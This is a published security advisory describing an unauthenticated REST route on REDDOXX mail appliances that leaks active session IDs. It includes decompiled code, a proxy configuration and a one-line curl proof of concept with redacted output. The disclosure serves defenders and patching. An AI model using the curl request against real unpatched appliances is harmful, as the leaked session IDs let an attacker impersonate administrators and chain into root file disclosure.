Advisory: Unauthenticated Extraction of Session-IDs in REDDOXX Appliance

RedTeam Pentesting discovered an information disclosure vulnerabilty in
the REDDOXX appliance software, which allows unauthenticated attackers
to extract valid session IDs.

Details
=======

Product: REDDOXX Appliance
Affected Versions: Build 2032 / v2.0.625, older versions likely affected too
Fixed Versions: Version 2032 SP2
Vulnerability Type: Information Disclosure
Security Risk: high
Vendor URL: https://www.reddoxx.com/
Vendor Status: patch available
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2017-005
Advisory Status: published
CVE: GENERIC-MAP-NOMATCH
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH


Introduction
============

"REDDOXX is a leading supplier of solutions for e-mail archiving,
encrypted and digitally signed e-mail traffic as well as spam
protection. Our focus is on technological innovation: taking our cue
from our clientsa requirements our competent and quality-conscious
employees strive to offer you the best possible products at all times.
Using stringent quality standards and proven processes we keep
developing our company and products continuously, with the goal of
continuous improvement."

(from the vendor's homepage)


More Details
============

Through the ISO provided on the vendor's homepage [1], it was possible to
analyze the files in a typical REDDOXX appliance [0] installation.
Several API endpoints are defined in the Apache webserver configuration
file /etc/apache2/sites-enabled/cust-000-reddoxx.conf:

------------------------------------------------------------------------
ProxyPass /RdxEngine/ http://localhost:8001/JSON/ retry=0
ProxyPassReverse /RdxEngine/ http://localhost:8001/JSON/

ProxyPass /RdxEngineBin/ http://localhost:8001/BIN/ retry=0
ProxyPassReverse /RdxEngineBin/ http://localhost:8001/BIN/

# New Rest API Version 1
ProxyPass /api/v1/proxy/ http://localhost:4711/ retry=0
ProxyPassReverse /api/v1/proxy/ http://localhost:4711/

[...]
------------------------------------------------------------------------

The endpoint /api/v1/proxy, labelled "New Rest API Version 1", offers
several routes, which can normaly only be used by administrators and
require authentication.

Through analysis of the .NET binaries pertaining to this endpoint,
extracted from the appliance's ISO, the supported routes were examined.
In general, the methods handling the routes look similar to the
following:

------------------------------------------------------------------------
// Reddoxx.Rest.Proxy.Remote.Service.LegacyServiceProxy
[Authenticate]
public object Any(GetUserListRequest msg)
{
    ApiCommand command = new ApiCommand("GetUserList");
    ApiResult apiResult = this.LegacyClient.SendCommand(command);
    [...]
}
------------------------------------------------------------------------

Most of them contain, in particular, the attribute 'Authenticate'.
RedTeam Pentesting assumes that this attribute is used to inform the
underlying framework that authentication is required in order to access
this method.

During further analysis of the methods handling the routes, the method
handling request messages of type 'GetSessionListRequest' was found:

------------------------------------------------------------------------
// Reddoxx.Rest.Proxy.Remote.Service.LegacyServiceProxy
public object Any(GetSessionListRequest msg)
{
    ApiCommand command = new ApiCommand("GetSessionsList");
    ApiResult apiResult = this.LegacyClient.SendCommand(command);
    [...]
}
------------------------------------------------------------------------

This method returns a list of currently active sessions and did not
contain the aforementioned attribute. Examination of the
'GetSessionListRequest' type showed the route associated with the
method:

------------------------------------------------------------------------
namespace Reddoxx.Rest.Proxy.Remote.Messages
{
    [Route("/sessions", "GET")]
    public class GetSessionListRequest :
    IReturn<GetSessionListResponse>, IReturn
        {
        }
}
------------------------------------------------------------------------

Accessing this route on the appliance yields a list of active sessions.
No authentication is required for this access.


Proof of Concept
================

The following curl command-line can be used to trigger the vulnerability
and access the list of current sessions:

------------------------------------------------------------------------
$ curl --silent http://www.example.com/api/v1/proxy/sessions | jq .
{
  "Data": [
    {
      "Id": "XXXXXXXX",
      "SessionType": "Console",
      "IPAddress": "127.0.0.1",
      "Details": "rdx-build-in-service-user@local"
    },
    {
      "Id": "XXXXXXXX",
      "SessionType": "Console",
      "IPAddress": "127.0.0.1",
      "Details": "rdx-build-in-service-user@local"
    },
    {
      "Id": "{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}",
      "SessionType": "WebService",
      "IPAddress": "",
      "Details": "rdx-build-in-service-user@local Last access: 22-5-17 10:26:17"
    },
    {
      "Id": "{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}",
      "SessionType": "WebService",
      "IPAddress": "",
      "Details": "Info@[...] Last access: 22-5-17 09:53:21"
    },
    {
      "Id": "{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}",
      "SessionType": "WebService",
      "IPAddress": "",
      "Details": "Administrator@[...] Last access: 22-5-17 10:09:30"
    },
    {
      "Id": "{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}",
      "SessionType": "WebService",
      "IPAddress": "",
      "Details": "rdx-build-in-service-user@local Last access: 22-5-17 10:11:19"
    },
    {
      "Id": "{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}",
      "SessionType": "WebService",
      "IPAddress": "",
      "Details": "rdx-build-in-service-user@local Last access: 22-5-17 13:13:19"
    }
  ]
}
------------------------------------------------------------------------

The tool jq [2] is used to format the JSON output returned by the
appliance's API.


Workaround
==========

None


Fix
===

Update the appliance software to Version 2032 SP2.


Security Risk
=============

The risk of this vulnerability is estimated to be high. The extracted
session IDs can be used by attackers to impersonate the user associated
with the ID when interacting with the appliance. An authenticated
session is also a precondition to exploit the vulnerability described
in rt-sa-2017-006 [3], which allows arbitrary file disclosure as root.


Timeline
========

2017-05-16 Vulnerability identified
2017-05-23 Customer approved disclosure of vulnerability
2017-05-26 Customer provided details of vulnerability to vendor
2017-06-21 Vulnerability reported as fixed by vendor
2017-07-24 Advisory released


References
==========

[0] https://www.reddoxx.com/en/
[1] https://my.reddoxx.com/documents/manual/en/custdl/product-downloads
    (Requires login)
[2] https://stedolan.github.io/jq/
[3] https://www.redteam-pentesting.de/advisories/rt-sa-2017-006


RedTeam Pentesting GmbH
=======================

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=============================

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